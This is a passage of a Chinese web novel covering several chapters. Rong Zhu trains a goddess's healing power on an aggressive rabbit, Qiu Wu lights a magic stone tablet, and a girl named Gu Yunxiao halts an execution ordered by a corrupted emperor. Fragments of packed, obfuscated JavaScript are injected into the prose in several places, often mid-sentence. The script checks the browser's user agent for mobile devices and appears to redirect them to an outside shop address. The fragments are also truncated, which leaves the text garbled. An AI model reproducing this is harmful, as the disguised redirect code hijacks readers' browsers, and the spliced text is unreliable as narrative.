应白的睫毛几不可察地一动,他缓缓抬起眼皮,看到一个模糊的影子在自己眼前晃悠。 容珠在确认应白真的没有什么异常后,有些欣喜若狂地要跑去叫顾先生来看看。 “容珠?” 应白有气无力地轻轻叫出,看着这个少女即将离自己远去,噩梦带来的后怕一下子捏住了他的心,他猛地抬手去抓。 与此同时,容珠听见应白的呼唤后转过身,看到他再一次抓住了自己。 应白的双眸还有点不太清明,他看不清眼前少女的模样,但他知道她就是容珠。 “师父!你醒了!” 容珠的惊喜声让应白的双眸和思绪都彻底清醒过来,他忽地松开握住容珠的手,双眸在她脸上停留了几瞬,强迫自己躲开,片刻后问:“你去哪?” 容珠放下这只手背在身后,指尖轻轻摩挲着,上头的余温像添了把柴似的越烧越旺。 “你重伤昏迷了好多天,一直没有痊愈的迹象,没想到你突然醒了,我正要去找顾先生来给你看看。” “你的毒已经没事了?”应白看向她,神情恢复了正常。 “没事了,师父先休息,我去去就回。”容珠小跑了出去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885298|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应白平静了一下自己的思绪,慢慢找回自己昏迷前的记忆。 自己重伤,自己给容珠喂解毒水,那些记忆仿佛过了很久,他现在不想去细想,他摩挲着自己的手指,满脑子都是梦里的情景。 还好,只是梦,真正的容珠已经康复了,刚才就在自己眼前。 他忽然又意识到自己还在摩挲着手指,贪恋残留在上头的一抹细腻,他忙把五个指头岔开,谁也不跟谁挨在一起,仿佛刚才做了一件错误的事。 过了一会儿,门外传来匆匆脚步声,容珠轻轻推门进来,顾寄章端着药在后面。 “顾先生。”应白打了个招呼,看到顾寄章双眸讶异地看着他,心知可能是自己的伤好得太突兀的缘故。 顾寄章把药放下后就拿起应白的手腕把脉,把了好一会儿,神色甚是严肃,终于开口道:“还有这等奇事?半个时辰前你还性命攸关,半个时辰后你已大好了?” 顾寄章语调惊奇,容珠听见“大好”两个字,悬着的心终于回归原位。 “我刚听容珠姑娘的描述,还担心你是回光返照,我刚刚再三把过你的脉象,除了心跳有点快,别的没什么大碍了。”顾寄章回头看容珠,“发生了什么事吗?” 容珠把自己的灵力莫名其妙从手掌出来的事说了出来,她当然省略了其他部分。 “这又奇了……如果你没有动用意念,灵力怎么会自己跑出来?” 顾寄章思索着,自言自语道:“你莫名其妙施展出的灵力莫名其妙地把性命攸关的应白救了过来,任何事情皆有原因,我想,大概是你的灵力正好能治疗应白的伤吧。” 既然顾寄章这样推断,容珠也想不出其他解释,便暂且这般认为。 顾寄章把药端给应白道:“虽然已无大碍,还是得喝两天药,看来我又要修改一下你的药方了。” 应白接过药碗道:“劳烦顾先生费心。” 顾寄章摆摆手,准备离开,到了门口忽然又驻足,他转头看向容珠:“容珠姑娘,其实你的灵力不完全都是你的灵力,你能砍掉魔龙的龙甲是因为你的灵力里有奚昤的神力。” 容珠点点头,听他继续说。 “或许你机缘巧合用了奚昤的神力救好了应白也尚未可知,不然如果是普通的灵力治疗,就算有效果也不会好得这样利索。” “也就是说,奚昤的神力有疗伤的功效。”容珠分析道。 “神力自然有很多我们想象不到的力量。”顾寄章若有所思,“我想说的不是这个,我刚刚的想法是,魔龙能蛊惑人心,让人增加欲念,为了自己利益而伤害他人,奚昤是爱之神尊,那她的神力是不是可以让人重新拥有爱呢?” 容珠惊讶顾寄章的想法跟先前自己想的不谋而合。 “顾先生,我想过这个问题,但我不知道要怎么用以及我的灵力是不是真的能让人拥有爱。” 顾寄章笑了笑,“我们可以试一试,只有试试才能知道究竟可不可以。” 70. 试一试 “容珠姑娘,你需仔细与我说说,在你的灵力不受控制地流出之前,有什么不寻常的事情发生?比如你身体哪里有异常,或者你做了什么举动?” 门外的说话声细微地传入房内,应白竖耳细听。 “并没有什么异常……”容珠说这话的时候有点言不由心,因为当时她浑身上下都因应白在梦中抓住自己,然后自己又大胆握住他的手而感到不清醒,如果要说有什么异常,她觉得浑身上下都是异常的。 顾寄章很认真地分析:“有的时候灵力看起来不受控制,其实还是感觉到了修炼者的意念,你并非无法掌控灵力之人,能发生这种情况,除了跟奚昤的神力有关,应该也离不开你的思想。” 容珠回忆了一下当时自己的心境,如果说,灵力不受控制地流出是因为她在心里默默对应白表白的话…… 一丝慌张像金毛的尾巴似的扫过她的心窝,她明知故问道:“顾先生所说是何意啊?” 顾寄章耐心道:“简单来讲,就是你当时在想什么?” 容珠装作在认真的思考:“无非是希望师父快点好起来,要是他因为救我而有性命危险的话,那我作为徒弟,怕是一辈子也无法心安。” 她说得十分委婉,顾寄章缓缓点头,觉得这个想法再正常不过了。 药的苦味在应白的舌根蔓延,他出神地盯着床顶,有一瞬间真想自己还没醒,从来就没听过这句话。 他不想听到容珠只把他当作师父,但他就是她的师父,从初次见面时就是他一直提出收她为徒的想法,是他自己不受控制地喜欢上了她,想要更多不可能的东西。 “依我之见……”顾寄章猜测道:“奚昤的神识既然附在你的灵核上,从某种角度来说,她与你心意相通,徒弟希望师父平安是再正确不过的事了,她的神力感觉到了你迫切救人的心思,所以愿意出手相助。” 也就是说,容珠想:她虽然和奚昤无法从言语上沟通,但神识的确有独立的思想,当魔龙试图蛊惑自己的时候,神识及时让她清醒,它能与自己心意相通,帮助自己,也能帮助别人。 “只有当我全心全意在做一件有爱的事的时候,奚昤的神力就会出手相助。”容珠总结出了最终结论,“如果我能见到赵皇帝,并从心底希望他能改过自新,或许奚昤就会释放爱的力量,赵皇帝就可以清醒过来了。” 顾寄章点头赞同,“在此之前,我们需验证一下是否如我们设想的一般。” 他所说的验证是带着容珠来到了紫阳宫的花园,花园一角设有一圈篱笆,容珠老远就看见金毛毛茸茸的尾巴在不停地摇摆。 金毛在篱笆里边似乎很忙碌,容珠还没走近时根本看不清它在干什么,只见它一会儿跳起,一会儿低头,一会儿上这边,一会儿上另一边。 待离篱笆还有几步远的时候,容珠意外发现篱笆里的草地上有十几只活蹦乱跳的兔子,这些兔子都是雪白雪白的,唯有一只是纯黑色的,在众多兔子间显得很突兀。 金毛看见容珠和顾寄章走来,鼻子一直发出“嘤嘤”的声音,尾巴止不住地剧烈摇摆,看起来很是着急。 顾寄章道:“紫阳宫内养了几只兔子,本来没什么特别的,但半年前来了一只黑色兔子,这只黑色兔子除了抢食外还会伤害其他的兔子,金毛似乎也发现了这件事,经常过来阻拦。我想用它来试试你的灵力是否能让人心中有爱是再合适不过了,哪怕证明不了,也不会对它造成伤害。” 容珠观察了一下篱笆内的情况,这只黑色兔子在众多白色兔子中身量是最小的,它却能凭一己之力在这么多兔子中间抢食吃还能攻击它们,的确十分凶悍。 人为财尽,鸟为食亡。从黑兔子的角度来说,它只是想要活下去,让自己吃饱饭,可紫阳宫的嫩草有很多,黑兔子根本没必要从其他兔子嘴中抢食,它这么做要么是脑子有问题,要么就是想占领这片区域,成为兔子圈的霸主。 容珠浅浅如此认为,她看到金毛再次用嘴把黑兔子叼起来放到远远的地方,并挡在它身前,用鼻子不停地拱它,阻止它蹦跶。 “既如此,我便试试吧。” 她打开篱笆门,径直走向那只黑兔子,先摸了摸它的脑袋,黑兔子似乎闻到了陌生的味道,它呆呆地趴在地上,耳朵竖起,鼻子不停地动,两边的胡须也在跟随着颤动。 容珠目前还不知道怎么运用这种灵力,她一边摸兔子,一边在心里想:兔子啊兔子,这里有很多的草可以吃,你不必抢别人的,大家和谐相处不好吗? 她静静地等待自己的灵力不受控制地出来,可是过了一会儿并没有任何动静。 难道是感情不够? 她又把兔子抱起来,顺手摘了旁边一株嫩草放到它嘴边。黑兔子瞪着圆溜溜的眼睛,一动不动地僵在容珠怀中,也不吃眼前的嫩草,容珠又自言自语地跟它说话,希望能跟它增进感情。 没想到的是,黑兔子猛地咬了容珠一口,四条腿挣脱容珠的怀抱,蹦跳着躲了起来。金毛见状追在它后面到了兔子洞前,它体型硕大,自然只能在洞口张望。 顾寄章道:“看来这只兔子野性颇大,不是善类,不过这倒是一个很好的试验对象。” 容珠明白。一则奚昤的神力不会轻而易举地显露出来,既然能救好应白,就说明容珠还未掌握运用方法,她可以用这只兔子来训练自己。 二则,赵皇帝可是一个活生生的人,如果容珠尚且连一只兔子都影响不了又如何改变赵皇帝? 行刑的日子近在咫尺,容珠没有多少时间可以修炼,一天当中除了吃饭和看望应白外,其余时间她都在想办法去搞定一只兔子。 邱梧听说了这件事和她一起来,这些兔子平常都是她在照顾,她知道黑兔子很是强悍且聪明,但凡有人靠近它就开始装胆小,一动不动,要么就是反咬人一口,好像别人在欺负它,它要自保,而人们走了以后,这只兔子就开始肆无忌惮地抢食了。 邱梧后来把黑兔子单独分开了,直到前段时间邱梧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894562|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去查看兔子们的生活状况时意外发现黑兔子又在欺负其他的白兔子,理所当然,给黑兔子准备的窝让它咬坏了。 容珠坐在草地上,手里拿着一株嫩草,她本想吸引黑兔子的注意,但黑兔子显然是铁了心的认为其他兔子嘴里的食物是最好吃的,哪只兔子在吃草,它便跑过去从对方嘴里抢过来。 后来,容珠手里的嫩草渐渐吸引其他白兔子来吃,黑兔子见状便飞跑过来抢夺,容珠抓起它的后脖颈,指着它道:“你这只兔子好生奇怪,怎么偏吃人家嘴里的东西,这不是有很多嫩草吗,难道它们吃的嫩草跟这些嫩草不一样?” 几只白兔子围在容珠和邱梧的裙摆上,不一会儿便有几颗黑豆豆产生,邱梧也指着黑兔子凶道:“你虽然长得黑,但心可不能黑啊,给,吃这个!” 邱梧将嫩草放在黑兔子嘴边,黑兔子又是一副惊恐的模样,它一动不动,胡须却不停地在颤抖。 容珠闭上眼,再次尝试唤出神力,她在心中希望黑兔子能善待同类,自己丰衣足食。 结果依然没什么反应。 又一天过去,明天就是行刑的日子了。 天渐渐黑了下来,金毛在草地上奔跑了一下午,此刻正趴在地上吐着舌头喘气。 “我想一定是少了什么环节。”邱梧站起来拍拍裙摆上的草渣。 “容珠。”她忽然放低了声音,悄悄道:“应白对你来讲是不一样的,得知他可能有性命危险,你的身心一定都投入在了他的身上,你自己感觉不出来什么,但你心中的爱一定是真诚而浓烈的,所以奚昤的神识才能感受到你的心意,愿意出手相助。” “你的意思是,我对黑兔子的爱不够真诚浓烈……”容珠觉得说这话的时候有一种诡异的感觉,她要如何对一只兔子产生她对应白的那种爱? “我不知道。”邱梧轻轻摇头,显然也有些困惑,“奚昤的神力没有再次出来的原因是因为她没有感受到你对黑兔子的爱,这种爱可能远超我们所理解的。” “对万物生灵的爱……”容珠自言自语道。 “人和神的区别不是能否长生,也不是能力强大,而是人会爱自己,爱亲人,爱自己身边的一切人,而神的心中爱着世上的每一个生灵。”邱梧缓缓道来的声音在即将降临的夜色下显得宁静深远。 “如果你能掌握这种爱,我相信奚昤的神力你一定会运用自如。可问题是,我们都不是神,无法对世间生灵产生同等的爱。” 容珠静静地回味邱梧的话,她忽然想起在她第一次见魔龙那晚,魔龙最初以为点亮石碑的是邱梧,可它说邱梧并不具备无私之爱,所以是无私之爱满足了石碑所需的品质,但拥有无私之爱的不是自己,而是体内的奚昤。 “邱梧。”容珠忽然驻足,“我们再去一趟石碑那里吧。” 邱梧不解:“去那里干什么?” 容珠也不知道去那里干什么,她有一种直觉想到那儿,好像有什么东西遮住了答案,在等着自己去揭开。 71. 圣洁女 二人来到石碑处时,前来验血无果的百姓陆陆续续都离开了,黑黢黢的石碑依旧只有两道光芒亮着,映射出百姓们渐渐远去的身影,直到四周静悄一片,就像是关上了一道看不见的门,隔绝了神话与平凡两个世界。 “等到过年的时候,差不多朝荣国所有人都验过了。”邱梧和容珠来到石碑前。月亮从云层里露出一角,淡淡的月光笼在石碑周身形成一圈白色的光芒。 “邱梧,你不觉得很奇怪吗?”容珠走近石碑,“还没来验血的人已经不多了,难道那么多验过血的人就没有一个人能点亮石碑?石碑要求的人真的存在吗?” 邱梧道:“天师占卜说当所有点亮石碑的人聚集在一起时就能形成天之力,彻底诛杀魔龙,而且魔龙也说过类似的话,我想,朝荣国内一定有其他点亮石碑的人。” 容珠愁闷道:“我是因奚昤的神力才点亮的石碑,但我并不具备无私之爱,如果将来有一天这七个人都找到了,那我也不懂如何施展无私之力,又怎么和他们一起创造天之力呢?” 邱梧心知容珠之所以来石碑这里或许是因为她没能改变黑兔子而对自己产生了怀疑,她安慰道:“将来不知是何时,你又怎知将来的你不可以?” 是啊……一年以前,容珠还是一个没有任何灵力的废物,现在已经可以正常修炼了。人生变幻莫测,永远无法预料将来之事。 “很多时候上天在我们身上安排一些东西时并不是表面看上去那样,真正的意义需要我们自己去探寻,正如应白本不属于朝荣国,我本也可能一辈子不会遇见他,但他无意间发现了海屏障,来到了这里,本来不可能发生的事变得可能了,我遇见了他,以为上天安排他来到我身边就是为了给我一个完美的爱情。” 邱梧平静地叙说着,“但现在想来,上天想告诉我的根本不是这个。它想告诉我这个世界上不只有朝荣国一个国家,在应白生活的世界里,人和人之间的残忍与冷酷是彻底超脱我们认知的,我应该思考,为什么会有两个截然不同的世界?” 容珠看着邱梧认真深远的目光,心头忽然萌生出一个想法。 邱梧看向皇宫的方向:“我起初的确没有意识到这一点,直到陛下性情大变,变成了似乎和应白那个世界里一样的人,我才开始意识到这个问题。 “我又想,如果朝荣国将来有一天变成了你们所生活的那个世界,那海屏障是不是就会消失了?海屏障之所以存在不就是为了隔开原本并不相同的世界吗? “又或者,这个世界本就不应该被隔开,那当初是谁设下的海屏障?他为什么要这么做?” 邱梧回头看着容珠,“曾经的我一心一意认为应白生活的世界是人间地狱,我满脑子都希望应白能永远在朝荣国居住,而就在几天前,我突然意识到我们面临的似乎不止是魔龙问题,我怀疑我们在面临一个很大的问题,我说不上来,就好像……” 邱梧垂眸,眉头紧蹙,在奋力捋顺自己的想法,“就好像这个世界,我是说整个世界,朝荣国和你们所在的世界,在很久以前犯了一个错误……” 草丛中传出一阵响动,金毛摇晃着蒲公英似的大尾巴,绕着石碑不停地闻,然后抬起了一条腿…… “我怀疑设下海屏障是一个错误,或许世界不应该被分开……”邱梧似乎词尽了,她叹了口气道:“我不知道……” 她看着容珠正一脸惊愕地看着自己,意识到刚才说的话可能太匪夷所思,又补充道:“这都是我瞎想的,你不要笑话我。” “没有!”容珠立刻道,她目光惊愕,但不是看一个疯子似的惊愕,就好像突然看到了一个光辉璀璨的宝藏出现在自己眼前一样。 她上前抓住邱梧的手腕惊喜道:“邱梧!你知道吗,你跟我们想的一模一样!你快来!” 她把邱梧拉到了石碑前,十分激动道:“邱梧,如果你的血不能点亮石碑,那我相信这个世界上就更没有人能点亮石碑了!你聪慧通透,又能凭自己的意志抵抗魔龙对你的蛊惑,这足以证明你有着旁人没有的绝佳品质!” 她握紧了邱梧的手认真道:“你一定要再试一试。” 容珠过于认真明亮的目光让邱梧一瞬间木讷了,她还没从容珠认可她方才说的话中反应过来就听到对方突然说让她点亮石碑,“可……我已经试过了……我的血不能……” “邱梧!朝荣国没有多少人还没试血了,如果点亮石碑的人真的存在,那就说明没点亮石碑的人不一定永远不能点亮,就像你说的,有些事情要自己体会领悟才能知道真正的意义,此时的你和当时点亮石碑的你已经不是同一个你了!” 容珠的声音如打鼓似的敲击着邱梧的心脏,她的瞳孔渐渐放大,心砰砰直跳,被容珠握着的手在微微颤抖。 “再试试吧邱梧。” 邱梧忽然觉得身体一麻,微风轻轻吹动着她的发丝,满天星辰铺洒在空中,是一个欣赏夜景的美好夜晚。 她有些动容地看着石碑,紧握的手在踌躇良久后终于抬起,她伸出食指放在嘴边,因为按耐不住的激动而狠狠咬了一口。 血腥的味道在舌尖蔓延,邱梧丝毫未觉,她将凝了血珠的手指慢慢伸向石碑,然后轻轻一划,一道鲜红的血渍醒目地呈现在石碑上。 二人屏住呼吸。 石碑一点点将血迹吸收进去,紧随着一道耀眼的紫光乍现。 此时此刻,二人都心知发生了何事,邱梧忍耐不住心头的惊讶和激动,露出双眼迎着这道刺眼的紫光看去。 紫光仿佛是今夜最耀眼的星辰,它分散成无数颗细碎的星点在石碑前飘荡,最终在第二行第二道印记中汇聚,就此诞生了石碑上的第三道光辉。 “容珠……”邱梧难以置信地看着眼前一切。 容珠甚至觉得此刻的心情比她当初自己点亮石碑时还要激动,“我就说!一定是这样的!” “旺旺!”金毛站在石碑前疯狂摇着尾巴。 邱梧心潮澎湃,这是她心里一直希望发生的事情,站在修炼者的角度上,她最大的愿望就是能为朝荣国降妖除魔,维护世间安定,自然希望自己的血能够点亮石碑。 她第一次试的时候石碑没有反应,当时的失望不言而喻,她不认为自己不优秀,不认为自己没有能力,她还怀疑过石碑的可靠性,她的血怎么会没能点亮石碑? 原来这一切都差一个契机。 因为魔龙,邱梧才激发了真正的自己,才有后来的想法和猜测,她凭自己战胜了魔龙的精神控制,实现了自我蜕变,点亮了石碑。 她抑制不住骄傲的心,随后意识到眼前的荣誉还是经容珠提醒才实现的,她抱向她,十分感激地说:“谢谢你容珠!没有你我不会点亮它,如果不是你,谁还会想到没能点亮石碑的人还有可能点亮呢?” 对于朝荣国而言,又找到一个能诛杀魔龙的人是意外之喜。 对容珠和邱梧而言,她们今晚所得到的惊喜远远不止这些。 * 第二日一早,沈宫主就出门朝拜了,邱梧并没有将自己点亮石碑的事告诉除了容珠以外的任何人。 邱梧跟容珠解释:“今日是行刑日,母亲用两天的时间召集了反对此次行刑的各派掌门,希望在今日能再次尝试阻止陛下的行为。” 她这么一说,容珠就知道邱梧为什么没有声张了。 行刑时刻定在正午,街道上已经拥堵一片,本地的百姓和外地的百姓叽里呱啦说着各自的语言,混合在一起完全听不懂究竟在说什么,但从语气中听来,大多是愤慨的。 容珠、邱梧和上官琛挤在人群中缓慢地前进,应白在喝了几天药后已经好得差不多了,他从容珠口中听说如今赵皇帝的所作所为正朝着圣灵宫里的圣灵品性发展后,一直在缄默沉思。 容珠问他先前经历了什么才受这么重的伤,应白说此事说来话长,等今日之事过了再细说。 通往刑场的道路其实并不远,但前来观看的百姓实在是太多了,将哪条路都堵得水泄不通。 赵皇帝也有意让所有人都知道对他不敬的下场,于是选择了一个场地十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“恳请陛下三思,为君者当以仁德治天下,陛下从前一直施行仁政,朝荣国百姓无不爱戴于您,而今您受魔龙蛊惑乱了心性,唯有自我清醒才能解除这一术法,希望陛下时刻谨记自己是朝荣国的君主,谨记朝荣国的治世之道是以百姓为天。” 邱宫主和沈宫主相继说完后,其他愿意站出来的零星几个掌门也出言相劝。 即将面临斩首的男子目光动容,审判官依旧在扫视底下众人,赵皇帝的脸色不佳,僵持了一段时间谁也没有开口说话,所有人都在仰头等待赵皇帝的最终决定。 “高高在上的赵皇帝,你是朝荣国的君王,朝荣国的国运都系在你身上,朝荣国百姓的生活也都仰仗你的作为,你能影响国家,你的目光能影响你。” 容珠都没意识到自己脑子里说了这么一句话。她希望赵皇帝改过自新,但直觉却在告诉她相反的答案,因为一切的一切从某个时候开始已经朝着一个未知的方向进展,那才是他们真正要面临的,而赵皇帝只是开始。 她想从应白眼中看看他在想什么,他的气色如今已经回归正常了,只见他下巴微扬,双眸也在看着高处,却不是在看赵皇帝,好像赵皇帝此时不是站在高台里而是站在屋顶上。 高台上赵皇帝的身影动了动。 “行刑。” 结论已下,审判官从人群中收回目光,比第一次更加缓慢的伸手去拿令牌,“当啷”一声,再没有转机。 沈宫主握了握拳。 刽子手仰头灌了一口酒,对着手里的斩刀像发洪水似的喷了出来,目光聚焦在这名男子的后脖颈处,亮白锋利的刀刃直劈而下。 邱梧和沈宫主同时要出手,刑台上突然又传来一声“当啷”响,尖锐刺耳的兵刃相交之声冲击在场每一个人。 刽子手手中的砍刀重重地摔在地上,以为自己马上要死了的那名男子紧紧地闭着眼,但过了许久都没有意识到死亡的痛,反而还听见了一道陌生的女子声音: “陛下不仁,我等何必奉你为主?” 72. 顾云萧 一道身影从高台的屋顶上跃下,容珠发现顾寄章的身子猛地向前一步,神色瞬间变得严肃紧张。 打掉刽子手砍刀的是一柄轻巧的短剑,短剑在几个回旋后回到了主人手中,一个身穿荷叶绿颜色的少女正突兀地站在行刑台上。 赵皇帝将手伏在栏杆上,身子前倾盯着她,一旁的三皇子见状半是严肃半是担忧。 她背对着众人,挺胸抬头望着高台上的赵皇帝.容珠看不清她的样貌,正纳闷哪里来了一位勇敢正义之士,便看沈宫主一脸震惊地回头看顾寄章。 “那是……”邱梧虽然声音很低但难掩惊讶,“云萧吗……” “什么!”上官琛的声音足以让其他人把目光从行刑台上转到他身上。 “何人胆敢在行刑台上放肆!”审判官面色平静地说着狠话。少女将身后的麻花辫顺到肩前,声音清脆嘹亮道:“本姑娘大名顾云萧。” 容珠千想万想也没想到她是在这种场合,这种形式见到了顾先生的女儿顾云萧。 她刚才顺着应白的目光往高台的屋顶上看时,隐约看见一个人头在屋脊后隐隐晃动,她还在想这人真会找地方看景,不过既然站上去了,为什么要躲躲藏藏的,这样能看清吗? 直到此刻,容珠才意识到刚才的想法有多么天真,这位顾云萧姑娘分明是一副准备就绪的架势,自己竟然单纯地以为她只是想站在高处看景,不禁在心里对自己一阵唏嘘。 “你是习武之人,所属何派?”赵皇帝严厉的声音从高处传来,众人心里都在哀叹这个门派要倒霉了,但顾云萧言词清晰道:“我无门无派,全凭自己修炼。陛下不必对我兴师问罪,你仅凭自己喜怒就要掉人脑袋,可知你自己已经犯了不仁之罪?” “放肆!”赵皇帝的声音让众多百姓身子一颤。 容珠来到朝荣国就见过赵皇帝两次,一次是她点亮石碑被传唤进宫,看到的是和善仁爱的赵皇帝,第二次就是现在。 高台上的赵皇帝满脸怒容,面前的珠串随着他的动作剧烈晃动着,他手指顾云萧,大喊一声:“把她抓起来,一起行刑,寡人倒要看看,还有谁再敢对寡人不敬!” 一声令下过后,铁甲之声从刑台另一端传来,顾云萧转变姿势,剑指士兵。 “不行!”上官琛欲朝刑台上跑,被顾寄章一个胳膊拦了回去,顾寄章三步并作两步就要上去,又被看清他动作的沈宫主拦住。 沈宫主随即上前一步道:“陛下,紫阳宫赞同云萧姑娘的观点,若陛下今日执意要杀此人,我沈青寒在此声明,紫阳宫崇敬爱戴的是仁爱之君,若君主不仁,紫阳宫便不会视其为主,再不听君令!” 人群发出一阵低呼。 沈宫主这番话的含义及严重性可谓是前无古人,她在明晃晃地对赵皇帝划清界限,表明立场。 如果朝荣国中有谁对陛下不敬,必会引起民愤,但现在的情况是,当今陛下性情大变,紫阳宫表明态度已经不是尊不尊敬的问题了,而是朝荣国可能就此出现两大组织,一个是皇宫,一个是紫阳宫。 面对沈宫主如此惊世骇俗之行为,在场的众多百姓一时间只顾沉浸在自己的震惊中,偌大的场地似黑夜一般寂静。 赵皇帝似乎被沈宫主的一番言论气到了,他一双眸子瞪得如铜铃那般大,整张脸都在惊愕与愤怒中扭曲着,他扶着栏杆的手微微颤抖着,另一只手指着沈宫主,深吸一口气咆哮道:“紫阳宫是要造反吗?” “紫阳宫并非是造反,而是不赞同您的治世之道,您依旧是朝荣国的陛下,但紫阳宫不再是您的臣民!” “你敢吗!” 沈青寒当然敢,她是朝荣国第一门派的主人,论地位,赵皇帝是朝荣国的王,论实力,没人是沈青寒的对手。 朝荣国的妖魔要靠修炼之人平息,紫阳宫能平息的,别的门派未必能平息,紫阳宫不能平息的,赵皇帝是天子又能如何,他只是一个普通人,妖魔当前,他的生命脆弱不堪。 “父王!”三皇子跪地恳切道:“眼下魔龙之患未除,我们应该团结一致,以大局为重,况且朝荣国如今能过上安稳日子,紫阳宫功不可没,而点亮石碑的人士都在紫阳宫内,请父王三思。” 赵皇帝的胸脯剧烈起伏着,他半张着嘴似是想下达什么命令,但听到三皇子的这番话他生生憋了回去,气血攻心,剧烈地咳嗽起来。 这时,一个年轻的侍从匆匆敢来,面带喜色,到了赵皇帝跟前行了个大礼然后喜道:“陛下!据每日前去查探石碑的士兵来报,石碑又被点亮了一道印记,如今有三道印记了!” 赵皇帝像吃了补气丸,神色终于稍稍好转,兴奋道:“是谁?是哪位人士?” 侍从摇摇头:“在场的百姓都说不是自己,眼下未查明是哪位人士点亮的石碑。” 赵皇帝大袖一挥:“那还不快去查!把这位人士快快带到寡人面前!” “不必了!” 高台下传来一道女子的声音,邱梧大步走上前道:“点亮石碑之人在此,不知陛下见我后有何话要说?” 顾云萧惊羡地看着邱梧,沈宫主和邱宫主皆带着困惑惊诧的神情看向她,应白目露疑惑看向容珠,容珠朝他点头一笑。 赵皇帝愣怔在原地,三皇子直起身子来看着邱梧,所有人的目光都朝场中这抹紫色身影看去。 “紫阳宫……又是紫阳宫……”赵皇帝嘴唇微微颤动着,片刻后他指着邱梧大声道:“谁能证明是你点亮的石碑?” “小女可证明石碑上的紫色印记乃紫阳宫圣女邱梧之血所点亮。” 容珠站在邱梧身边,抬头直视这位王。 “魔龙之强大众所周知,承认自己是点亮石碑的人就要担负起诛杀魔龙的责任,我想没有人会因为一时的荣誉而揽下关乎性命的任务,陛下大可看看还有谁会站出来说自己是那道紫色印记的主人?” 两方互相静默了许久,没有人站出来,赵皇帝也没有再出言怀疑邱梧是点亮石碑的人,可他的面色看起来很不好。 三皇子反而恭贺道:“父王,石碑印记又被点亮一道是大喜事,这是上天在庇佑我们朝荣国,国之气数皆因君主而变化,儿臣请求父王勿忘祖训,感念上天之德。” 这一刻,容珠忽然意识到,赵皇帝虽然是朝荣国的王,拥有无上权力,号令天下的本事,却未必奈何得了紫阳宫。 因为紫阳宫是保障朝荣国安危的重要存在,单因魔龙这一件事,赵皇帝也必须强忍怒气,不会对紫阳宫动一分一毫。 所以……在一个举足轻重的人物面前,哪怕是赵皇帝也不会任凭自己为所欲为。要是在她那个世界也有一个举足轻重的人物站在圣灵宫的对立面,是不是那边的日子也不会如此残酷无情? 圣灵宫既有地位也有实力,它想当恃强凌弱的强者,那天下无人能反抗,它占据着天平的一端,将这端压得死死的,而朝荣国的天平在今日却发生了变化。 本也被压得死死的一端忽然分离出了一部分站到另一端,使天平开始产生摇晃,左右不定,一边是欲念,一边是仁爱…… 高台上,赵皇帝冷笑一声,似乎有些疲惫道:“紫阳宫真是人才辈出啊。上天庇佑朝荣国,降此喜事,寡人特赦免所有罪人,望紫阳宫谨守本职,勿惹是生非!” 说罢,赵皇帝袖袍一甩,在宫人的搀扶下气呼呼地回宫了。 三皇子忙从高台旁的阶梯上下来,亲自给那男人解绑,说了一顿安抚的话,那男子也十分有礼地朝三皇子揖礼。 容珠看见顾云萧笑呵呵地朝这边跑来,嘴里喊着:“邱梧姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899726|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐!” 她额前的头发朝后翻着,露出一张娇小白皙的脸蛋,乌黑的眼睛笑起来格外明亮,一身荷叶绿的衣裳看起来像骑马装,跑起来的时候如一阵清风从山间吹来。 “云萧,几年不见,我都不敢认你了。”邱梧笑着拉她的手。 顾云萧身量不高,到邱梧下巴处,她一屈膝将头歪在邱梧怀里,抱着她的腰嘟囔道:“邱梧姐姐,我好想你,你都变得这么漂亮了,还点亮了石碑,简直是我心目中的神女。” 邱梧有些受宠若惊,她好像没想到顾云萧会对她这么热情,因为在她印象里,她和上官琛更亲一些。 百姓们在后头三三两两聚在一起叽里呱啦地聊天,沈宫主和邱宫主正和其他几个掌门相谈,顾寄章大步流星地走了过来,面带怒气,抱着邱梧的顾云萧不经意间瞥见了她爹,兴奋地松开邱梧眨眼间就跑了过去。 顾寄章要训斥的话还没说出口,身子就被顾云萧大力地冲击而踉跄一步。 “爹!女儿跟您久别重逢,您想不想我?” 上官琛站在顾寄章身侧,正满怀期待地等待顾云萧发现他。 顾寄章一点都没被顾云萧的撒娇动容,他开口第一句话便是:“谁让你自作主张的?” “不是你让我来紫阳宫的吗?”顾云萧疑惑地抬眸看她爹。 